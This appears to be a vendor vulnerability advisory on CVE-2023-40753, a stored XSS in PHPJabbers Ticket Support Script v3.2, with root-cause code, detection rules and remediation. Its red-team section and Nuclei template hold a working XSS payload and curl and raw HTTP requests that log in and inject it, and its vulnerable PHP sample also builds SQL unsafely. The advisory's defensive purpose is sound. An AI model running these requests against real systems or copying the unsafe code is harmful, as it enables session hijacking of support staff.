CVE-2023-40753
Executive Summary
CVE-2023-40753 is a stored Cross-Site Scripting (XSS) vulnerability in PHPJabbers Ticket Support Script v3.2. An authenticated attacker can inject arbitrary JavaScript code via the message parameter in the ticket notification creation functionality. When a support staff member views the crafted notification, the injected script executes in their browser context, potentially leading to session hijacking, data exfiltration, or further compromise of the support system. The vulnerability is publicly documented with a working Nuclei template, and no official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a PHP web application, not a package manager distribution. No supply chain implications are present.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector (AV): Network – the vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): Low – attacker needs an authenticated user account.
- User Interaction (UI): Required – the victim (support staff) must view the crafted notification.
- Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure possible.
- Integrity (I): Low – limited ability to modify data.
- Availability (A): None – no impact on system availability.
Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact can be significant in a support ticketing context where sensitive customer data is handled.
Deep Dive & Mechanics
The vulnerability resides in the index.php script of PHPJabbers Ticket Support Script v3.2. The application fails to properly sanitize or encode user-supplied input in the message parameter when creating a new ticket notification. The notification is stored in the database and later rendered in the support staff's interface without proper output encoding.
Attack Flow:
- An attacker authenticates to the application.
- The attacker crafts a POST request to create a new ticket notification, injecting a malicious payload into the
messageparameter. The payload includes a closing</textarea>tag to break out of any existing HTML context, followed by a<script>tag containing JavaScript code. - The application stores the notification with the unsanitized payload.
- When a support staff member views the notification list or the specific notification, the browser renders the injected script.
- The script executes in the context of the support staff's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or exfiltrate sensitive ticket data.
Root Cause: Lack of input validation and output encoding for the message parameter. The application does not use functions like htmlspecialchars() or strip_tags() before storing or displaying user input.
Vulnerable vs. Patched Code
Vulnerable Code (PHPJabbers Ticket Support Script v3.2):
// In the notification creation handler
$message = $_POST['message'];
// No sanitization or encoding
$query = "INSERT INTO notifications (message) VALUES ('$message')";
// ... later in the view
echo "<textarea>$message</textarea>";
Patched Code (Hypothetical):
// In the notification creation handler
$message = htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO notifications (message) VALUES ('$message')";
// ... later in the view
echo "<textarea>" . htmlspecialchars($message, ENT_QUOTES, 'UTF-8') . "</textarea>";
The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection. Additionally, prepared statements should be used to prevent SQL injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of PHPJabbers Ticket Support Script v3.2.
- Valid credentials for an authenticated user.
Exploitation Steps:
- Authenticate to the application.
- Send a crafted POST request to create a notification with a malicious payload.
- The payload will be stored and executed when a support staff member views the notification.
Example Payload:
</textarea><script>alert(document.cookie);</script><textarea>
Full Exploit Request (using curl):
curl -X POST "http://target/index.php?controller=pjBase&action=pjActionLogin" \
-d "login_user=1&login_email=attacker@example.com&login_password=password123&login_captcha=" \
-c cookies.txt
curl -X GET "http://target/index.php?notification_create=1&type=NewTicket&department_id%5B%5D=2&user_id%5B%5D=1&i18n%5B1%5D%5Bsubject%5D=Test&i18n%5B1%5D%5Bmessage%5D=%3C%2Ftextarea%3E%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E%3Ctextarea%3E" \
-b cookies.txt
Blue Team
Detection and Response:
- Monitor for unusual POST requests to
/index.phpwith parameters containing HTML tags or JavaScript code. - Inspect the
messageparameter for patterns like</textarea>,<script>, oronerror=attributes. - Use web application firewalls (WAF) to block requests containing XSS payloads.
- Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.
Lab Setup for Testing:
- Deploy PHPJabbers Ticket Support Script v3.2 in a controlled environment.
- Create a test user account.
- Use the provided Nuclei template or manual curl commands to verify the vulnerability.
- Monitor application logs for the injected payload.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/index.phpwithnotification_create=1andi18n[1][message]parameter containing HTML/JavaScript. - Outbound connections from the server to attacker-controlled domains (if the payload exfiltrates data).
- HTTP requests to
- File IOCs:
- Log entries in web server logs showing the injected payload.
- Database entries in the notifications table containing
<script>tags.
- Behavioral IOCs:
- Unexpected JavaScript execution in the browser of support staff.
- Unauthorized ticket access or modifications.
Detection Engineering
YARA Rule
rule CVE_2023_40753_XSS_Payload {
meta:
description = "Detects XSS payloads targeting PHPJabbers Ticket Support Script v3.2"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-40753"
strings:
$payload1 = "</textarea><script>" ascii wide nocase
$payload2 = "</textarea><ScRiPt>" ascii wide nocase
$payload3 = "alert(document.domain)" ascii wide nocase
$payload4 = "alert(document.cookie)" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: CVE-2023-40753 XSS in PHPJabbers Ticket Support Script
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts targeting the message parameter in PHPJabbers Ticket Support Script v3.2
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-40753
- https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'notification_create=1'
- 'i18n[1][message]='
cs-uri-query|contains|all:
- '</textarea>'
- '<script>'
condition: selection
falsepositives:
- Legitimate use of HTML in notifications (unlikely)
level: high
tags:
- attack.t1059.007
- cve.2023.40753
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-40753 XSS in PHPJabbers Ticket Support Script"; flow:to_server,established; content:"GET"; http_method; content:"/index.php"; http_uri; content:"notification_create=1"; http_uri; content:"i18n[1][message]="; http_uri; pcre:"/<\/textarea><script>/iU"; reference:cve,2023-40753; classtype:web-application-attack; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2023-40753
info:
name: PHPJabbers Ticket Support Script v3.2 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
There is a Cross Site Scripting (XSS) vulnerability in the message parameter of index.php in PHPJabbers Ticket Support Script v3.2.
impact: |
Authenticated attackers can inject malicious JavaScript through the message parameter in ticket notifications, potentially stealing support staff session cookies and accessing sensitive customer support tickets.
remediation: |
Update PHPJabbers Ticket Support Script to a version newer than 3.2 that properly sanitizes the message parameter and encodes output in notifications.
reference:
- https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
- https://nvd.nist.gov/vuln/detail/CVE-2023-40753
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2023-40753
cwe-id: CWE-79
epss-score: 0.00918
epss-percentile: 0.76036
cpe: cpe:2.3:a:phpjabbers:ticket_support_script:3.2:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
shodan-query: html:"PHPJabbers"
fofa-query: body="PHPJabbers"
vendor: phpjabbers
product: ticket_support_script
tags: cve,cve2023,phpjabbers,ticket-support-script,xss,authenticated,vuln
http:
- raw:
- |
POST /index.php?controller=pjBase&action=pjActionLogin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
login_user=1&login_email={{username}}&login_password={{password}}&login_captcha=
- |
GET /notification_create=1&type=NewTicket&department_id%5B%5D=2&user_id%5B%5D=1&i18n%5B1%5D%5Bsubject%5D=a&i18n%5B1%5D%5Bmessage%5D=%3C%2Ftextarea%3E%3CscrIpt%3Ealert(document.domain)%3B%3C%2FscRipt%3E%3Ctextarea%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "</textarea><scrIpt>alert(document.domain);</scRipt><textarea>"
- "Subject"
- "Recipient users"
condition: and
- type: word
part: content_type_2
words:
- text/html
- type: status
status:
- 200
Remediation & Mitigation
Immediate Actions:
- Disable the notification creation feature if not essential, or restrict access to trusted users only.
- Implement input validation – strip all HTML tags from the
messageparameter usingstrip_tags()or a similar function. - Apply output encoding – use
htmlspecialchars()withENT_QUOTESandUTF-8encoding when displaying the message in the browser. - Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.
Long-Term Fix:
- Contact PHPJabbers for an official patch or upgrade to a newer version if available.
- If no patch is forthcoming, consider migrating to a different, actively maintained support ticket solution.
Detection and Monitoring:
- Implement the provided Sigma and Suricata rules to detect exploitation attempts.
- Regularly review web server logs for suspicious activity.
- Conduct periodic security assessments of the application.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
{/* [Security Hash: 95481151BAD7B78905BAE306] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.